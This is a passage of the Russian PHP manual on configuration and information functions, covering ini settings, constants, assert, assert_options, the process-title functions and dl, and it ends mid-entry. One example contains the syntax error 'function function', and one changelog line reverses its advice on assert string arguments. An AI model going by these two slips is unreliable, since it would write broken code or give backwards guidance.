There are no user contributed notes for this page.


Введение

Эти функции позволяют вам получить множество информации о самом PHP, например, установки конфигурации, загруженные модули, версию и многое другое. Вы так же найдёте функции для установки параметров работы PHP. Вероятно, самую известную функцию в PHP - phpinfo() - можно найти здесь.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Настройки PHP/Параметры конфигурации информации
Имя | По умолчанию | Место изменения | Список изменений
assert.active | "1" | PHP_INI_ALL |
assert.bail | "0" | PHP_INI_ALL |
assert.warning | "1" | PHP_INI_ALL |
assert.callback | NULL | PHP_INI_ALL |
assert.quiet_eval | "0" | PHP_INI_ALL | Удалено в PHP 8.0.0
assert.exception | "1" | PHP_INI_ALL | До PHP 8.0.0 значение по умолчанию было "0".
enable_dl | "1" | PHP_INI_SYSTEM | Эта возможность устарела и будет обязательно удалена в будущем.
max_execution_time | "30" | PHP_INI_ALL |
max_input_time | "-1" | PHP_INI_PERDIR |
max_input_nesting_level | "64" | PHP_INI_PERDIR |
max_input_vars | 1000 | PHP_INI_PERDIR |
zend.enable_gc | "1" | PHP_INI_ALL |
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

assert.active bool

Включение выполнение assert(). zend.assertions следует использовать вместо этого для управления поведением функции assert().

assert.bail bool

Завершение работы скрипта при провале проверки утверждений.

assert.warning bool

Вызов предупреждений PHP для каждой проваленной проверки утверждения.

assert.callback string

Пользовательская функция, вызываемая при провале проверки утверждений.

assert.quiet_eval bool
Внимание

Данная функциональность была УДАЛЕНА, начиная с PHP 8.0.0.

Используйте эту настройку функции error_reporting() во время выполнения проверки утверждений. При включении настройки сообщения об ошибках во время проверки утверждений показываться не будут (неявный вызов error_reporting(0)). Если настройка выключена, ошибки будут выдаваться в соответствии с настройками error_reporting()

assert.exception bool

Генерирует исключение AssertionError для неудачной проверки утверждения.

enable_dl bool

Директива позволяет включать и выключать динамическую подгрузку модулей PHP с помощью функции dl().

Главной причиной, по которой требуется выключение динамической загрузки, является безопасность. С помощью динамической загрузки можно обойти все open_basedir ограничения. По умолчанию динамическая загрузка разрешена.

max_execution_time int

Эта директива задаёт максимальное время в секундах, в течение которого скрипт должен полностью загрузиться. Если этого не происходит, парсер завершает работу скрипта. Этот механизм помогает предотвратить зависание сервера из-за плохо написанного скрипта. По умолчанию на загрузку даётся 30 секунд. Если PHP запущен из командной строки, это значение по умолчанию равно 0.

В системах, отличных от Windows, на максимальное время выполнения не влияют системные вызовы, потоковые операции и т.п. За дополнительной информацией обращайтесь к документации к функции set_time_limit().

Веб-серверы обычно имеют свои настройки времени ожидания, по превышении которого сами завершают выполнение скрипта PHP. В Apache есть директива Timeout, в IIS есть функция CGI timeout. В обоих случаях по умолчанию установлено 300 секунд. Точные значения можно узнать из документации к веб-серверу.

max_input_time int

Эта директива задаёт максимальное время в секундах, в течение которого скрипт должен разобрать все входные данные, переданные запросами вроде POST или GET. Это время измеряется от момента, когда PHP вызван на сервере до момента, когда скрипт начинает выполняться. Значение по умолчанию -1, что означает, что будет использоваться max_execution_time. Если установить равным 0, то ограничений по времени не будет.

max_input_nesting_level int

Задаёт максимальную глубину вложенности входных переменных (то есть $_GET, $_POST.)

max_input_vars int

Сколько входных переменных может быть принято в одном запросе (ограничение накладывается на каждую из глобальных переменных $_GET, $_POST и $_COOKIE отдельно). Использование этой директивы снижает вероятность сбоев в случае атак с использованием хеш-коллизий. Если входных переменных больше, чем задано директивой, выбрасывается предупреждение E_WARNING, а все последующие переменные в запросе игнорируются.

zend.enable_gc bool

Включает или отключает сборщик циклических ссылок.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы всегда доступны как часть ядра PHP.

Предопределённые константы phpcredits()
Константы | Значение | Описание
CREDITS_GROUP | 1 | Список разработчиков ядра PHP
CREDITS_GENERAL | 2 | Главные разработчики: Дизайн и концепции языка, авторы PHP и модуля SAPI.
CREDITS_SAPI | 4 | Список серверных API для PHP и их авторы.
CREDITS_MODULES | 8 | Список модулей для PHP и их авторы.
CREDITS_DOCS | 16 | Члены команды разработчиков документации.
CREDITS_FULLPAGE | 32 | Обычно используется в сочетании с другими флагами. Означает, что HTML- страница должна печататься вместе с дополнительной информацией (за которую отвечают другие флаги).
CREDITS_QA | 64 | Члены команды контроля качества.
CREDITS_ALL | -1 | Все разработчики, аналогично использованию: CREDITS_DOCS + CREDITS_GENERAL + CREDITS_GROUP + CREDITS_MODULES + CREDITS_QA CREDITS_FULLPAGE. Будет сгенерирована HTML-страница с соответствующими тегами. Это значение по умолчанию.
Константы phpinfo()
Константы | Значение | Описание
INFO_GENERAL | 1 | Строка конфигурации, местоположение php.ini, дата сборки, веб-сервер, система и др.
INFO_CREDITS | 2 | Разработчики PHP. Смотрите также phpcredits().
INFO_CONFIGURATION | 4 | Текущие локальные и основные значения директив PHP. Смотрите также ini_get().
INFO_MODULES | 8 | Загруженные модули и их настройки.
INFO_ENVIRONMENT | 16 | Информация о переменных среды, которая также доступна в $_ENV.
INFO_VARIABLES | 32 | Показывает все предопределённые переменные из EGPCS (Environment, GET, POST, Cookie, Server).
INFO_LICENSE | 64 | Информация о лицензии PHP. Смотрите также » FAQ по лицензии.
INFO_ALL | -1 | Константа по умолчанию. Показывает всю информацию описанную выше.
Константы INI
Константы | Значение | Описание
INI_USER | 1 | Не используется
INI_PERDIR | 2 | Не используется
INI_SYSTEM | 4 | Не используется
INI_ALL | 7 | Не используется

Константы проверки утверждений. Эти значения используются для задания настроек assert_options().

assert() константы
Константы | INI настройка | Описание
ASSERT_ACTIVE | assert.active | Включение assert() проверок. Внимание Данная функциональность объявлена УСТАРЕВШЕЙ, начиная с PHP 8.3.0 и её крайне не рекомендуется использовать.
ASSERT_CALLBACK | assert.callback | Обратный вызов при провале проверки утверждения. Внимание Данная функциональность объявлена УСТАРЕВШЕЙ, начиная с PHP 8.3.0 и её крайне не рекомендуется использовать.
ASSERT_BAIL | assert.bail | Прервать выполнение при провале проверки утверждения. Внимание Данная функциональность объявлена УСТАРЕВШЕЙ, начиная с PHP 8.3.0 и её крайне не рекомендуется использовать.
ASSERT_EXCEPTION | assert.exception | Выдаёт предупреждение PHP для каждого неудачного утверждения. Внимание Данная функциональность объявлена УСТАРЕВШЕЙ, начиная с PHP 8.3.0 и её крайне не рекомендуется использовать.
ASSERT_WARNING | assert.warning | Выдавать предупреждение PHP в случае провала проверки каждого утверждения Внимание Данная функциональность объявлена УСТАРЕВШЕЙ, начиная с PHP 8.3.0 и её крайне не рекомендуется использовать.
ASSERT_QUIET_EVAL | assert.quiet_eval | Отключить error_reporting во время выполнения проверки утверждения. Внимание Данная функциональность была УДАЛЕНА, начиная с PHP 8.0.0.

Следующие константы доступны только под Windows. Они позволяют извлечь различную информацию о версиях программного обеспечения. Все константы доступны с PHP 5.3.0.

Специфичные для Windows константы
Константы | Описание
PHP_WINDOWS_VERSION_MAJOR | Основной номер версии Windows, это может быть 4 (NT4/Me/98/95), 5 (XP/2003 R2/2003/2000) или 6 (Vista/2008/7/8/8.1).
PHP_WINDOWS_VERSION_MINOR | Уточняющий номер версии Windows, это может быть 0 (Vista/2008/2000/NT4/95), 1 (XP), 2 (2003 R2/2003/XP x64), 10 (98) или 90 (ME).
PHP_WINDOWS_VERSION_BUILD | Номер сборки Windows (например, Windows Vista SP1 имеет номер сборки 6001)
PHP_WINDOWS_VERSION_PLATFORM | Платформа, на которой PHP работает на данный момент. Возможны значения 2 для Windows Vista/XP/2000/NT4, Server 2008/2003, а для Windows ME/98/95 это значение будет 1.
PHP_WINDOWS_VERSION_SP_MAJOR | Основной номер версии установленного сервис-пакета. Возможно значение 0, если пакетов не установлено. Например, в Windows XP с 3м сервис паком это значение будет 3.
PHP_WINDOWS_VERSION_SP_MINOR | Дополнительный номер установленного пакета обновлений. Значение 0 говорит от том, что пакетов не установлено.
PHP_WINDOWS_VERSION_SUITEMASK | Битовая маска указывающая, какая дополнительная функциональность установлена в системе Windows. Ниже приведена таблица с возможными значениями битового поля.
PHP_WINDOWS_VERSION_PRODUCTTYPE | Содержит значение, определяющее константы вида PHP_WINDOWS_NT_*. Этим значением может быть одна из констант PHP_WINDOWS_NT_* указывающая на тип платформы.
PHP_WINDOWS_NT_DOMAIN_CONTROLLER | Контроллер домена
PHP_WINDOWS_NT_SERVER | Серверная система (напр. Server 2008/2003/2000). Надо учесть, что если сервер является контроллером домена, вместо этой константы будет выдаваться PHP_WINDOWS_NT_DOMAIN_CONTROLLER.
PHP_WINDOWS_NT_WORKSTATION | Система рабочей станции (напр. Vista/XP/2000/NT4)

Таблица значений битовой маски PHP_WINDOWS_VERSION_SUITEMASK.

Битовое поле функциональных возможностей Windows
Биты | Описание
0x00000004 | Установлены компоненты Microsoft BackOffice.
0x00000400 | Установлен Windows Server 2003 Web Edition.
0x00004000 | Установлен Windows Server 2003 Compute Cluster Edition.
0x00000080 | Установлен Windows Server 2008 Datacenter, Windows Server 2003, Datacenter Edition или Windows 2000 Datacenter Server.
0x00000002 | Установлен Windows Server 2008 Enterprise, Windows Server 2003, Enterprise Edition, Windows 2000 Advanced Server или Windows NT Server 4.0 Enterprise Edition.
0x00000040 | Установлен Windows XP Embedded.
0x00000200 | Установлен Windows Vista Home Premium, Windows Vista Home Basic или Windows XP Home Edition.
0x00000100 | Поддерживается удалённый рабочий стол, но только в интерактивном режиме. Это значение устанавливается до тех пор, пока система не будет запущена в режиме сервера приложений.
0x00000001 | Microsoft Small Business Server был установлен изначально, однако мог быть проведён апгрейд системы до другой версии Windows.
0x00000020 | Microsoft Small Business Server установлен с ограниченной лицензией.
0x00002000 | Установлен Windows Storage Server 2003 R2 или Windows Storage Server 2003.
0x00000010 | Установлены терминальные службы. Это значение всегда установлено. Если это значение установлено, значение 0x00000100 не задано, то система работает в режиме сервера приложений.
0x00008000 | Установлен Windows Home Server.

User Contributed Notes

There are no user contributed notes for this page.


Опции PHP/информационные функции

Содержание

  • assert_options — Установка и получение настроек механизма проверки утверждений
  • assert — Проверяет утверждение
  • cli_get_process_title — Возвращает заголовок текущего процесса
  • cli_set_process_title — Устанавливает заголовок процесса
  • dl — Загружает модуль PHP во время выполнения
  • extension_loaded — Определяет, загружен ли модуль
  • gc_collect_cycles — Принудительный запуск сборщика мусора
  • gc_disable — Отключает сборщик циклических ссылок
  • gc_enable — Включает сборщик циклических ссылок
  • gc_enabled — Возвращает текущее состояние сборщика циклических ссылок
  • gc_mem_caches — Освобождает память, используемую менеджером памяти Zend Engine
  • gc_status — Возвращает информацию о текущем статусе сборщика мусора
  • get_cfg_var — Извлекает значение настройки конфигурации PHP
  • get_current_user — Получает имя владельца текущего скрипта PHP
  • get_defined_constants — Возвращает ассоциативный массив с именами всех констант и их значений
  • get_extension_funcs — Возвращает массив имён функций модуля
  • get_include_path — Получение текущего значения настройки конфигурации include_path
  • get_included_files — Возвращает массив имён включённых в скрипт файлов
  • get_loaded_extensions — Возвращает массив имён всех скомпилированных и загруженных модулей
  • get_magic_quotes_gpc — Получение текущего значения настройки конфигурации magic_quotes_gpc
  • get_magic_quotes_runtime — Получение текущего значения настройки конфигурации magic_quotes_runtime
  • get_required_files — Псевдоним get_included_files
  • get_resources — Возвращает активные ресурсы
  • getenv — Получает значение одной или всех переменных окружения
  • getlastmod — Получает время последней модификации страницы
  • getmygid — Получить GID владельца скрипта PHP
  • getmyinode — Получает значение inode текущего скрипта
  • getmypid — Получение ID процесса PHP
  • getmyuid — Получение UID владельца скрипта PHP
  • getopt — Получает параметры из списка аргументов командной строки
  • getrusage — Получает информацию об использовании текущего ресурса
  • ini_alter — Псевдоним ini_set
  • ini_get_all — Получает все настройки конфигурации
  • ini_get — Получает значение настройки конфигурации
  • ini_parse_quantity — Get interpreted size from ini shorthand syntax
  • ini_restore — Восстанавливает значение настройки конфигурации
  • ini_set — Устанавливает значение настройки конфигурации
  • memory_get_peak_usage — Возвращает пиковое значение объёма памяти, выделенное PHP
  • memory_get_usage — Возвращает количество памяти, выделенное для PHP
  • memory_reset_peak_usage — Сбрасывает пиковое использование памяти
  • php_ini_loaded_file — Получить путь к загруженному файлу php.ini
  • php_ini_scanned_files — Возвращает список .ini-файлов, найденных в дополнительной ini-директории
  • php_sapi_name — Возвращает тип интерфейса между веб-сервером и PHP
  • php_uname — Возвращает информацию об операционной системе, на которой запущен PHP
  • phpcredits — Выводит список разработчиков PHP
  • phpinfo — Выводит информацию о текущей конфигурации PHP
  • phpversion — Получает текущую версию PHP
  • putenv — Устанавливает значение переменной среды
  • restore_include_path — Восстанавливает изначальное значение настройки конфигурации include_path
  • set_include_path — Устанавливает значение настройки конфигурации include_path
  • set_time_limit — Ограничение времени выполнения скрипта
  • sys_get_temp_dir — Возвращает путь к директории временных файлов
  • version_compare — Сравнивает две "стандартизованные" строки с номером версии PHP
  • zend_thread_id — Возвращает уникальный идентификатор текущего потока выполнения
  • zend_version — Получает версию движка Zend

User Contributed Notes

gilthansNOSPAAM at gmailSPAAMBLOCK dot com 15-Mar-2005 05:04
Note: when magic_quotes_gpc is ON, it will also slash values inside both $_SERVER['QUERY_STRING'] and $_SERVER['SCRIPT_NAME'] (and equivalents) will also be slashed.
Mark 14-Jun-2004 05:37
You probably don't want to set "magic_quotes_runtime" because it affects even binary file read/write operations. This is especially problematic if you include someone else's library that depends on binary read/write. If you enable "magic_quotes_runtime", be sure to use set_magic_quotes_runtime() function call to disable it before calling someone else's library that does binary read/write.


Установка и получение настроек механизма проверки утверждений

  • « Опции PHP/информационные функции
  • assert »
  • PHP Manual
  • Опции PHP/информационные функции
  • Установка и получение настроек механизма проверки утверждений

assert_options

(PHP 4, PHP 5, PHP 7, PHP 8)

assert_options — Установка и получение настроек механизма проверки утверждений

Внимание

Функция объявлена УСТАРЕВШЕЙ, начиная с PHP 8.3.0. Использовать эту функцию крайне не рекомендуется.

Описание

assert_options(int $option, mixed $value = ?): mixed

Задание значений настроек механизма проверки утверждений assert() или получение их текущих значений.

Замечание: Использование assert_options() не рекомендуется в пользу установки и получения php.ini директив zend.assertions и assert.exception с помощью ini_set() и ini_get() соответственно.

Список параметров

option

Настройки механизма проверки утверждений
Настройка | INI-параметр | Значение по умолчанию | Описание
ASSERT_ACTIVE | assert.active | 1 | включение механизма проверки утверждений
ASSERT_EXCEPTION | assert.exception | 1 | выбрасывает AssertionError для каждого неудачного утверждения
ASSERT_WARNING | assert.warning | 1 | вывод предупреждения PHP для каждой неудачной проверки
ASSERT_BAIL | assert.bail | 0 | завершить выполнение в случае неудачной проверки
ASSERT_QUIET_EVAL | assert.quiet_eval | 0 | отключить error_reporting во время проверки утверждения. Удалено начиная с PHP 8.0.0.
ASSERT_CALLBACK | assert.callback | (null) | Callback-функция, которую необходимо вызвать для провалившего проверку утверждения

value

Необязательный аргумент, новое значение настройки.

У callback-функции, установленной с помощью ASSERT_CALLBACK или assert.callback, должна быть следующая сигнатура:

assert_callback(
string $file,
int $line,
?string $assertion,
string $description = ?
): void
file
Файл, в котором была вызвана assert().
line
Строка, в которой была вызвана assert().
assertion
До PHP 8.0.0 утверждение, которое передавалось в функцию assert(), но только если утверждение задано в виде строки. (Если утверждение является булевым условием, этот параметр будет пустой строкой). Начиная с PHP 8.0.0, этот параметр всегда null.
description
Описание, которое было передано в assert().
Передача пустой строки в value сбрасывает assert callback.

Возвращаемые значения

Возвращает исходное значение настройки.

Ошибки

Функция выбрасывает ValueError, если параметр option не является допустимой опцией.

Список изменений

Версия | Описание
8.3.0 | Функция assert_option() объявлена устаревшей.
8.0.0 | Если параметр option не является допустимой опцией, теперь выбрасывается ошибка ValueError; ранее возвращалось значение false.

Примеры

Пример #1 Пример использования assert_options()

<?php
// Наша функция обработчик
// неудавшихся проверок
function function assert_failure($file, $line, $assertion, $message)
{
echo "Проверка $assertion в $file на строке $line провалена: $message";
}

// Тестовая функция
function test_assert($parameter)
{
assert(is_bool($parameter));
}

// настройки проверки
assert_options(ASSERT_ACTIVE, true);
assert_options(ASSERT_BAIL, true);
assert_options(ASSERT_WARNING, false);
assert_options(ASSERT_CALLBACK, 'assert_failure');

// заведомо ошибочное утверждение
test_assert(1);

// Этот код не будет выполняться, пока ASSERT_BAIL
// равен true
echo 'Никогда не будет выведено';
?>

Смотрите также

  • assert() - Проверяет утверждение

User Contributed Notes

Fr?d?ric Bouchery 20-Jul-2003 04:25
Here is an exemple how to use the assertion callback function :

<?php
  assert_options( ASSERT_CALLBACK, 'assert_callback');

  function assert_callback( $script, $line, $message ) {
    echo 'You have a design error in your script <b>', $script,'</b> : line <b>', $line,'</b> :<br />';
    echo '<b>', ereg_replace( '^.*//\*', '', $message ), '</b><br /><br />';
    echo 'Open the source file and check it, because it\'s not a normal behaviour !';
    exit;
  }

  $x = 3;
  assert('is_integer( $x ) && ($x >= 0) && ($x <= 10); //* $x must be an integer value from 0 to 10' );
  echo "0 <= $x <= 10";
?>

assertion is usefull for "design by contract" methodology ...


Проверяет утверждение

  • « assert_options
  • cli_get_process_title »
  • PHP Manual
  • Опции PHP/информационные функции
  • Проверяет утверждение

assert

(PHP 4, PHP 5, PHP 7, PHP 8)

assert — Проверяет утверждение

Описание

assert(mixed $assertion, Throwable|string|null $description = null): bool

assert() - это не функция, а языковая конструкция. Позволяет определять ожидания: утверждения, которые вступают в силу в средах разработки и тестирования, но оптимизированы так, что в производственной среде имеют нулевую стоимость.

Утверждения следует использовать только в качестве отладочной функции. Один из вариантов их использования - проверка на вменяемость предварительных условий, которые всегда должны быть true и если они не выполняются, это указывает на ошибки программирования. Другой случай использования - убедиться в наличии определённых возможностей, например, функций модуля или определённых ограничений и возможностей системы.

Поскольку утверждения могут быть настроены на отказ от них, их не следует использовать для обычных операций во время выполнения, таких как проверка входных параметров. Как правило, код должен вести себя так, как ожидается, даже если проверка утверждений отключена.

assert() проверяет, что ожидание, заданное в параметре assertion, выполняется. Если нет, и результат будет значение false, то будет предпринято соответствующее действие в зависимости от того, как была настроена конструкция assert().

Поведение конструкции assert() определяется следующими настройками INI:

Опции настройки конструкции assert
Имя | По умолчанию | Описание | Список изменений
zend.assertions 1
  • 1: генерирует и выполняет код (режим разработки)
  • 0: генерирует код, но перепрыгивает через него во время выполнения
  • -1: не генерирует код (рабочий режим)
assert.active | true | Если false, assert() не проверяет ожидание и возвращает true, безоговорочно.
assert.callback null Определяемая пользователем функция, вызываемая в случае неудачной проверки утверждения. Её сигнатура должна быть следующей:
assert_callback(
string $file,
int $line,
null $assertion,
string $description = ?
): void
 До PHP 8.0.0 сигнатура callback-функции должна быть:
assert_callback(
string $file,
int $line,
string $assertion,
string $description = ?
): void
assert.exception | true | Если true, будет выброшена ошибка AssertionError в случае неудачной проверки утверждения.
assert.bail | false | Если true, выполнение PHP-скрипта прервётся в случае неудачной проверки утверждении.
assert.warning | true | Если true, будет выдана ошибка уровня E_WARNING в случае неудачной проверки утверждения. Эта INI-настройка неэффективна, если включена assert.exception.
Опции, начинающиеся с assert., могут быть настроены с помощью функции assert_options(). Однако это не рекомендуется.

Список параметров

assertion

Любое выражение, возвращающее значение, которое будет выполнено, а результат используется для указания того, удалась или не удалась проверка утверждения.

Внимание

До версии PHP 8.0.0, если параметр assertion представлял собой строку (string), он интерпретировался как PHP-код и выполнялся с помощью функции eval(). Эта строка передавалась в callback-функцию в качестве третьего аргумента. Это поведение УСТАРЕЛО в PHP 7.2.0 и УДАЛЕНО в PHP 8.0.0.

description

Если параметр description является экземпляром класса Throwable, он будет выброшен только в том случае, если проверка утверждения assertion не удастся.

Замечание:

Начиная с PHP 8.0.0, это делается до вызова потенциально определённой callback-функции утверждения.

Замечание:

Начиная с PHP 8.0.0, объект (object) будет выброшен независимо от конфигурации параметра assert.exception.

Замечание:

Начиная с PHP 8.0.0, параметр assert.bail не имеет никакого эффекта в этом случае.

Если параметр description является строкой (string), это сообщение будет использоваться в случае выбрасывания исключения или предупреждения. Необязательное описание, которое будет включено в сообщение, если проверка утверждения assertion не удастся.

Если параметр description опущен. Во время компиляции создаётся описание по умолчанию, равное исходному коду для вызова assert().

Возвращаемые значения

Возвращает false, если проверка провалена, true в противном случае.

Список изменений

Версия | Описание
8.0.0 | assert() больше не будет оценивать строковые аргументы, вместо этого они будут рассматриваться как любой другой аргумент. Вместо assert($a == $b) следует использовать assert('$a == $b'). Директива assert.quiet_eval php.ini и константа ASSERT_QUIET_EVAL также были удалены, поскольку они больше не будут иметь никакого эффекта.
8.0.0 | Если параметр description является экземпляром класса Throwable, объект выбрасывается в случае неудачной проверки утверждения, независимо от значения assert.exception.
8.0.0 | Если параметр description является экземпляром класса Throwable, пользовательская callback-функция не вызывается, даже если она установлена.
8.0.0 | Объявление функции с именем assert() внутри пространства имён больше не допускается и выдаёт ошибку уровня E_COMPILE_ERROR.
7.3.0 | Объявление функции assert() внутри пространства имён устарело. Такое объявление теперь выдаёт ошибку уровня E_DEPRECATED.
7.2.0 | Использование строки (string) в качестве assertion устарело. Теперь оно выдаёт ошибку уровня E_DEPRECATED, когда значение и assert.active и zend.assertions равно 1.

Примеры

Ожидания

<?php
assert(true == false);
echo 'Привет!';
?>

Если zend.assertions установить значение 0, то приведённый выше пример выведет:

Привет!

Если zend.assertions установить значение 1, а assert.exception установить значение 0, то приведённый выше пример выведет:

Warning: assert(): assert(true == false) failed in - on line 2
Привет!

Если zend.assertions установить значение 1, а assert.exception установить значение 1, то приведённый выше пример выведет:

Fatal error: Uncaught AssertionError: assert(true == false) in -:2
Stack trace:
#0 -(2): assert(false, 'assert(true == ...')
#1 {main}
  thrown in - on line 2

Пример #1 Ожидания при использовании пользовательского исключения

<?php
class CustomError extends AssertionError {}

assert(true == false, new CustomError('True не является false!'));
echo 'Привет!';
?>

Если zend.assertions установить значение 0, то приведённый выше пример выведет:

Привет!

Если zend.assertions установить значение 1, а assert.exception установить значение 0, то приведённый выше пример выведет:

Warning: assert(): CustomError: True не является false! in -:4
Stack trace:
#0 {main} failed in - on line 4
Привет!

Если zend.assertions установить значение 1, а assert.exception установить значение 1, то приведённый выше пример выведет:

Fatal error: Uncaught CustomError: True не является false! in -:4
Stack trace:
#0 {main}
  thrown in - on line 4

Оцениваемые утверждения кода (только для PHP 7)

При использовании оцениваемых утверждений callback-функции assert() могут быть особенно полезны, поскольку код, использованный для утверждения, передаётся callback-функции вместе с информацией о том, где было выполнено утверждение.

Пример #2 Обработка неудачной проверки утверждения с помощью пользовательского обработчика

<?php
// Активируйте утверждение и отключите error_reporting
assert_options(ASSERT_ACTIVE, 1);
assert_options(ASSERT_WARNING, 0);
assert_options(ASSERT_QUIET_EVAL, 1);

// Создайте функцию-обработчик
function my_assert_handler($file, $line, $code)
{
echo "<hr>Утверждение не выполнено:
Файл '$file'<br />
Строка '$line'<br />
Код '$code'<br /><hr />";
}

// Настройте callback-функцию
assert_options(ASSERT_CALLBACK, 'my_assert_handler');

// Создайте утверждение, которое должно потерпеть неудачу
$array = [];
assert('count($array);');
?>

Результат выполнения данного примера в PHP 7.2:

Deprecated: assert(): Calling assert() with a string argument is deprecated in test.php on line 21
<hr>Утверждение не выполнено:
        Файл 'test.php'<br />
        Строка '21'<br />
        Код 'count($array);'<br /><hr />

Результат выполнения данного примера в PHP 7.1:

<hr>Утверждение не выполнено:
        Файл 'test.php'<br />
        Строка '21'<br />
        Код 'count($array);'<br /><hr />

Пример #3 Использование пользовательского обработчика для вывода описания

<?php
// Активируйте утверждение и отключите error_reporting
assert_options(ASSERT_ACTIVE, 1);
assert_options(ASSERT_WARNING, 0);
assert_options(ASSERT_QUIET_EVAL, 1);

// Создайте функцию-обработчик
function my_assert_handler($file, $line, $code, $desc = null)
{
echo "Утверждение не выполнено в $file:$line: $code";
if ($desc) {
echo ": $desc";
}
echo "\n";
}

// Настройте callback-функцию
assert_options(ASSERT_CALLBACK, 'my_assert_handler');

// Создайте утверждение, которое должно потерпеть неудачу
assert('2 < 1');
assert('2 < 1', 'Два меньше, чем один');
?>

Результат выполнения данного примера в PHP 7.2:

Deprecated: assert(): Calling assert() with a string argument is deprecated in test.php on line 21
Утверждение не выполнено в test.php:21: 2 < 1

Deprecated: assert(): Calling assert() with a string argument is deprecated in test.php on line 22
Утверждение не выполнено в test.php:22: 2 < 1: Два меньше, чем один

Результат выполнения данного примера в PHP 7.1:

Утверждение не выполнено в test.php:21: 2 < 1
Утверждение не выполнено в test.php:22: 2 < 1: Два меньше, чем один

Смотрите также

  • assert_options() - Установка и получение настроек механизма проверки утверждений

User Contributed Notes

hodgman at ali dot com dot au 28-Jul-2008 09:19
As noted on Wikipedia - "assertions are primarily a development tool, they are often disabled when a program is released to the public." and "Assertions should be used to document logically impossible situations and discover programming errors— if the 'impossible' occurs, then something fundamental is clearly wrong. This is distinct from error handling: most error conditions are possible, although some may be extremely unlikely to occur in practice. Using assertions as a general-purpose error handling mechanism is usually unwise: assertions do not allow for graceful recovery from errors, and an assertion failure will often halt the program's execution abruptly. Assertions also do not display a user-friendly error message."

This means that the advice given by "gk at proliberty dot com" to force assertions to be enabled, even when they have been disabled manually, goes against best practices of only using them as a development tool.


Возвращает заголовок текущего процесса

  • « assert
  • cli_set_process_title »
  • PHP Manual
  • Опции PHP/информационные функции
  • Возвращает заголовок текущего процесса

cli_get_process_title

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

cli_get_process_title — Возвращает заголовок текущего процесса

Описание

cli_get_process_title(): ?string

Возвращает заголовок текущего процесса, установленный cli_set_process_title(). Обратите внимание, что в зависимости от вашей операционной системы, это имя может не совпадать с тем, что покажут утилиты ps и top.

Эта функция доступна только в режиме CLI.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвратит строку с заголовком процесса или null в случае возникновения ошибки.

Ошибки

Если команда не поддерживается вашей операционной системой, то будет вызвана ошибка уровня E_WARNING.

Примеры

Пример #1 Пример использования cli_get_process_title()

<?php
echo "Заголовок процесса: " . cli_get_process_title() . "\n";
?>

Смотрите также

  • cli_set_process_title() - Устанавливает заголовок процесса

User Contributed Notes

pgl at yoyo dot org 30-Jan-2014 11:20
For versions of PHP < 5.5.0, you can get the name of the script from $argv[0]: http://www.php.net/manual/en/reserved.variables.argv.php


Устанавливает заголовок процесса

  • « cli_get_process_title
  • dl »
  • PHP Manual
  • Опции PHP/информационные функции
  • Устанавливает заголовок процесса

cli_set_process_title

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

cli_set_process_title — Устанавливает заголовок процесса

Описание

cli_set_process_title(string $title): bool

Устанавливает заголовок процесса, видимое утилитами top и ps. Эта функция доступна только в режиме CLI.

Список параметров

title

Новое имя.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Если команда не поддерживается вашей операционной системой, то будет вызвана ошибка уровня E_WARNING.

Примеры

Пример #1 Пример использования cli_set_process_title()

<?php
$title = "Мой потрясающий PHP-скрипт";
$pid = getmypid(); // вы можете использовать это, чтобы увидеть заголовок процесса в ps

if (!cli_set_process_title($title)) {
echo "Не удалось установить заголовок процесса для PID $pid...\n";
exit(1);
} else {
echo "Заголовок процесса '$title' для PID $pid был установлен!\n";
sleep(5);
}
?>

Смотрите также

  • cli_get_process_title() - Возвращает заголовок текущего процесса

User Contributed Notes

pitpat 17-Mar-2021 10:04
In Linux this command changes the title for commands like 'ps -a' it doesn't seem to work with 'top' or 'pkill'

To change the short name (eg PHP) to something else you can use the below:

<?php

$strNewName='myscript';

cli_set_process_name($strNewName);
cli_set_process_title($strNewName);

var_dump(cli_get_process_name());
var_dump(cli_get_process_title());

function cli_set_process_name($strName)
{
   file_put_contents("/proc/".getmypid()."/comm",$strName);
}

function cli_get_process_name()
{
  return(trim(file_get_contents("/proc/".getmypid()."/comm"),"\r\n"));
}

Note: The above will NOT work in Windows and may not work in all flavours of linux (I use Debian).
code at edoceo dot com 12-Mar-2014 07:14
Setting proc title on PHP based daemons is pretty sweet.


Загружает модуль PHP во время выполнения

  • « cli_set_process_title
  • extension_loaded »
  • PHP Manual
  • Опции PHP/информационные функции
  • Загружает модуль PHP во время выполнения

dl

(PHP 4, PHP 5, PHP 7, PHP 8)

dl — Загружает модуль PHP во время выполнения

Описание

dl(string $extension_filename): bool

Загружает модуль PHP, заданный аргументом extension_filename.

Чтобы проверить, что заданный модуль уже загружен, используйте функцию extension_loaded(). Функция работает как для встроенных модулей, так и для динамически загруженных (т.е. загруженных как через php.ini, так и через dl()).

Внимание

Функция доступна только для CLI и встроенного SAPI, а также для CGI SAPI при запуске из командной строки.

Список параметров

extension_filename

Аргумент содержит только имя файла модуля, который требуется загрузить. Это имя зависит от платформы. Например, модуль sockets (если скомпилирован, как загружаемый модуль, а не модуль по умолчанию!) будет называться sockets.so на Unix-платформах, и php_sockets.dll в среде Windows.

Директория, из которой модуль должен быть загружен, также зависит от платформы:

Windows - Если явно не задано в php.ini, модуль будет грузиться из C:\php5\ по умолчанию.

Unix - Если явно не задано в php.ini, директория по умолчанию зависит от

  • PHP собран с настройкой --enable-debug или без неё
  • PHP собран с поддержкой ZTS (Zend Thread Safety) или нет
  • текущий внутренний номер ZEND_MODULE_API_NO (номер внутреннего модуля Zend API, который, как правило, является датой основного изменения API модуля, например 20010901)
Принимая во внимание вышесказанное, получаем следующие значения по умолчанию для директории модуля <install-dir>/lib/php/extensions/ <debug-or-not>-<zts-or-not>-ZEND_MODULE_API_NO, например, /usr/local/php/lib/php/extensions/debug-non-zts-20010901 или /usr/local/php/lib/php/extensions/no-debug-zts-20010901.

Возвращаемые значения

